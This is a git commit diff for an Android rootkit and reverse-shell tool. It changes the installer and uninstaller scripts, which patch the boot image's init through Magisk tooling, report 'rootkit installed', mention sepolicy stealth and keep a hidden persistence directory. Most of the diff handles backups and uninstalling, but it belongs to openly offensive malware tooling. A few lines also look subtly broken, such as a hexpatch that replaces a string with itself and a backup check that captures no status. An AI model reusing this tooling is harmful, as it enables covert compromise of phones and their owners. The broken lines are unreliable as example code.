option to uninstall without backup

Author: ng

install/install.sh

@@ -24,7 +24,11 @@ fi
 
 if [ -d "$BACKUP_PATH" ]; then
 	echo "[?] The 'backup_original_partitions' directory is already present."
-    read -p "[?] Overwrite? (y/N) " answer
+    read -p "[?] Overwrite?  (y)es / (N)o / (q)uit " answer
+    if [ "$answer" == "q" ] || [ "$answer" == "Q" ] || [ "$answer" == "quit" ]; then
+        echo "[-] Cancelled by user"
+        exit 1
+    fi
     if [ "$answer" != "y" ] && [ "$answer" != "Y" ] && [ "$answer" != "yes" ]; then
         echo "[+] Will not pull backups"
         pull_backups=0
@@ -51,7 +55,7 @@ if [[ $pull_backups == 1 ]]; then
   rm -rf "$BACKUP_PATH" 2>/dev/null
 	wfr && adb pull "/tmp/backup_original_partitions" "$BACKUP_PATH"
 	if [ $? -ne 0 ]; then
-	  echo "[!] Warning: please pull backups manually. See prompt in ADB Sideload console."
+	  echo "[!] Warning: please pull backups manually. See prompt in TWRP console."
 	  exit 1
 	else
 	  echo "[+] Backups pulled to '$BACKUP_PATH'"

install/uninstall.sh

@@ -20,10 +20,18 @@ if [ ! -f "$TWRP_PATH" ]; then
   exit 1
 fi
 
+BACKUPS_PRESENT=1
 if [ ! -d "$BACKUP_PATH" ]; then
-	echo "[-] The '$BACKUP_PATH' directory is missing."
-  echo "[-] Cannot uninstall without backups."
-  exit 1
+  BACKUPS_PRESENT=0
+	echo "[?] The '$BACKUP_PATH' directory is missing."
+  echo "[?] If you uninstall without backups, your /boot image may not match the stock one."
+  read -p "[?] Continue? (Y)es / (n)o " answer
+    if [ "$answer" == "n" ] || [ "$answer" == "N" ] || [ "$answer" == "no" ]; then
+        echo "[-] Cancelled by user"
+        exit 1
+    fi
+else
+  echo "[+] Uninstalling using backups"
 fi
 
 echo "[*] Rebooting into bootloader"
@@ -32,14 +40,16 @@ fastboot boot $TWRP_PATH
 echo "[*] Booting '$TWRP_PATH'"
 
 #  Uninstall
-echo "[*] Pushing backups from '$BACKUP_PATH'"
-wfr && adb push "$BACKUP_PATH" /tmp/backup_original_partitions
-wfr && sleep 10 && adb shell twrp sideload || echo "[!] Please enter ADB sideload manually. Go to Advanced -> ADB sideload"
+if [ $BACKUPS_PRESENT -ne 0 ]; then
+  echo "[*] Pushing backups from '$BACKUP_PATH'"
+  wfr && adb push "$BACKUP_PATH" /tmp/backup_original_partitions
+fi
+wfr && sleep 10 && adb shell twrp sideload || echo "[!] Please start ADB sideload manually. Go to Advanced -> ADB sideload"
 wfs && echo "[*] Running uninstaller"
 adb sideload "$BUILD_PATH/$ZIP_UNINSTALL"
 if [ $? -ne 0 ]; then
 	echo "[-] Uninstall failed. Something is wrong?"
-	echo "[-] Ignore if there are no problems"
+	echo "[-] Ignore if TWRP shows no problems"
 	exit 1
 fi
 

scripts/boot_patch.sh

@@ -114,6 +114,7 @@ case $((STATUS & 3)) in
 
     # Execute our patches after magisk to overwrite sepolicy (partial stealth?)
     #   upd:   still not working... magisk policy has priority?
+    #  hi fstab fastboot btw
 #    ./magiskboot cpio ramdisk.cpio \
 #    "mkdir 000 .rtk_backup" \
 #    "add 000 .rtk_backup/.rtk config" \
@@ -131,13 +132,14 @@ case $((STATUS & 3)) in
     "add 750 .backup/init init" \
     "rm .backup/init.xz"
 
+    #  contains "selinux_setup" ?   ->  2si, too
+    ./magiskboot hexpatch init 73656c696e75785f7365747570 73656c696e75785f7365747570 && STATUS=8
+
     if [ $((STATUS & 8)) -ne 0 ]; then
-      ui_print ""
-      ui_print "!        WARNING: Magisk in 2SI scheme detected."
-      ui_print "Full compatibility with Magisk is not yet implemented and tested. It is known to corrupt Magisk installation if flashed together."
-      ui_print "To continue, comment out this check in scripts/boot_patch.sh"
-      ui_print ""
-      abort "! Cannot install with Magisk on 2SI device"
+      ui_print " "
+      ui_print "!    WARNING: Magisk in 2SI scheme detected."
+      ui_print "Full compatibility with Magisk is not yet implemented and tested. This tool will probably not work with Magisk installed."
+      ui_print " "
     fi
 
     ;;

scripts/flash_script_revshell.sh

@@ -22,7 +22,7 @@ umask 022
 OUTFD=$2
 ZIP=$3
 
-if [ ! -f $COMMONDIR/util_functions.sh ]; then
+if [ ! -f "$COMMONDIR"/util_functions.sh ]; then
   echo "! Unable to extract zip file!"
   exit 1
 fi
@@ -31,8 +31,8 @@ fi
 . $COMMONDIR/util_functions.sh
 
 ORIGINALBACKUPSDIR=/tmp/backup_original_partitions
-#rm -rf $ORIGINALBACKUPSDIR 2>/dev/null
-mkdir $ORIGINALBACKUPSDIR 2>/dev/null
+HAVE_BACKUP=$([ -d $ORIGINALBACKUPSDIR ])
+
 
 setup_flashable
 
@@ -86,22 +86,24 @@ ui_print "- OK rootkit installed"
 
 # Cleanups
 $BOOTMODE || recovery_cleanup
-rm -rf $TMPDIR
+rm -rf "$TMPDIR"
 rm -rf /tmp/magisk 2>/dev/null
 
 ui_print "- Done"
 
 # SILENTPOLICY - backups warning
-ui_print " "
-ui_print " "
-ui_print " ! WARNING !"
-ui_print " Installation completed successfully. Do not reboot to system right now. Please do not forget to dump backups via adb and save them:"
-ui_print " "
-ui_print " $ adb pull $ORIGINALBACKUPSDIR . "
-ui_print " "
-ui_print " If you forget to do this, you will not be able to automatically uninstall this tool, you will have to manually restore your stock /boot partition"
-ui_print " "
-ui_print " "
+if [ "$HAVE_BACKUP" -eq 0 ]; then
+  ui_print " "
+  ui_print " "
+  ui_print " ! WARNING !"
+  ui_print " Installation completed successfully. Do not reboot to system right now. Please do not forget to dump backups via adb and save them:"
+  ui_print " "
+  ui_print " $ adb pull $ORIGINALBACKUPSDIR . "
+  ui_print " "
+  ui_print " It is strongly recommended to save this backup. Otherwise you may not be able to restore stock /boot signed image."
+  ui_print " "
+  ui_print " "
+fi
 
 ui_print " "
 

scripts/uninstall_revshell.sh

@@ -1,11 +1,17 @@
 #MAGISK
 ############################################
 #
-# Revshell uninstaller (restore to stock /boot)
+# Revshell uninstaller
 #
-# requires boot image (.gz) at
+# Two options available:
+#  1. full /boot restore using backup
+#     requires boot image (.gz) at
 #     /tmp/backup_original_partitions/magisk_backup/boot.img.gz
 #
+#  2. restore init in-place using backed up init in /boot
+#     warning: may not restore stock /boot signature!
+#     use 1st option if you want to revert to stock /boot
+#
 ############################################
 
 ##############
@@ -48,21 +54,15 @@ ORIGINALBACKUPSDIR=/tmp/backup_original_partitions
 if [ ! -d $ORIGINALBACKUPSDIR ]
 then
   ui_print " "
-  ui_print " "
-  ui_print " ! WARNING !"
-  ui_print " Original backups not provided. Uninstall is not possible."
-  ui_print " Please push previously saved backups to device via adb first:"
+  ui_print " ! Note: "
+  ui_print " Original backups not provided. Uninstall script may not restore stock /boot signature."
+  ui_print " Push your backups before running uninstaller if you want to revert to stock boot:"
   ui_print " "
   ui_print " $ adb push backup_original_partitions /tmp"
   ui_print " "
-  ui_print " Once it is done you will be able to uninstall the tool"
-  ui_print " (directory $ORIGINALBACKUPSDIR must exist) "
-  ui_print " "
-  abort "!!!"
-  exit 1
+else
+  ui_print "- Backups uploaded and ready"
 fi
-ui_print "- Backups uploaded and ready"
-
 # ================================================================================================ #
 
 api_level_arch_detect
@@ -110,6 +110,9 @@ case $? in
     ;;
 esac
 
+./magiskboot cpio ramdisk.cpio test
+STATUS=$?
+
 # Restore the original boot partition path
 [ "$BOOTNAND" ] && BOOTIMAGE=$BOOTNAND
 
@@ -126,13 +129,29 @@ if [ -d $BACKUPDIR ]; then
     flash_image $BACKUPDIR/${name}.img.gz $IMAGE
   done
 else
-  abort "! Boot image backup unavailable"
+  [ $((STATUS & 2)) -ne 0 ] || abort "! Rootkit isn't installed. If it is, use backups to uninstall."
+  ui_print "- Restoring init in-place"
+
+  # Internal restore
+  ./magiskboot cpio ramdisk.cpio restore
+  if ! ./magiskboot cpio ramdisk.cpio "exists init"; then
+    # A only system-as-root
+    rm -f ramdisk.cpio
+  fi
+  ./magiskboot repack $BOOTIMAGE
+
+  # Sign chromeos boot
+  $CHROMEOS && sign_chromeos
+  ui_print "- Flashing restored boot image"
+  flash_image new-boot.img $BOOTIMAGE || abort "! Insufficient partition size"
+
+  ui_print "- OK rootkit uninstalled"
 fi
 
 cd /
 
 # Remove rootkit's persistence directory
-rm -rf /data/adb/.cache
+rm -rf /data/adb/.fura
 
 recovery_cleanup
 ui_print "- Done"

scripts/util_functions.sh

@@ -478,9 +478,8 @@ install_magisk() {
   ./magiskboot cleanup
   rm -f new-boot.img
 
-
   # do not create backups on reinstall (speed up installing)
-  if [ ! -d /tmp/backup_original_partitions/magisk_backup ]; then
+  if [ ! -d /tmp/backup_original_partitions ]; then
     ui_print "- Packing backups..."
     run_migrations
   fi
@@ -534,12 +533,12 @@ run_migrations() {
 #  done
 
    #Stock backups
-#  LOCSHA1=$SHA1
+  mkdir /tmp/backup_original_partitions 2>/dev/null
+
   for name in boot dtb dtbo dtbs; do
     BACKUP=/tmp/magisk/stock_${name}.img
     [ -f $BACKUP ] || continue
     if [ $name = 'boot' ]; then
-#      LOCSHA1=`$MAGISKBIN/magiskboot sha1 $BACKUP`
       mkdir /tmp/backup_original_partitions/magisk_backup 2>/dev/null
     fi
     TARGET=/tmp/backup_original_partitions/magisk_backup/${name}.img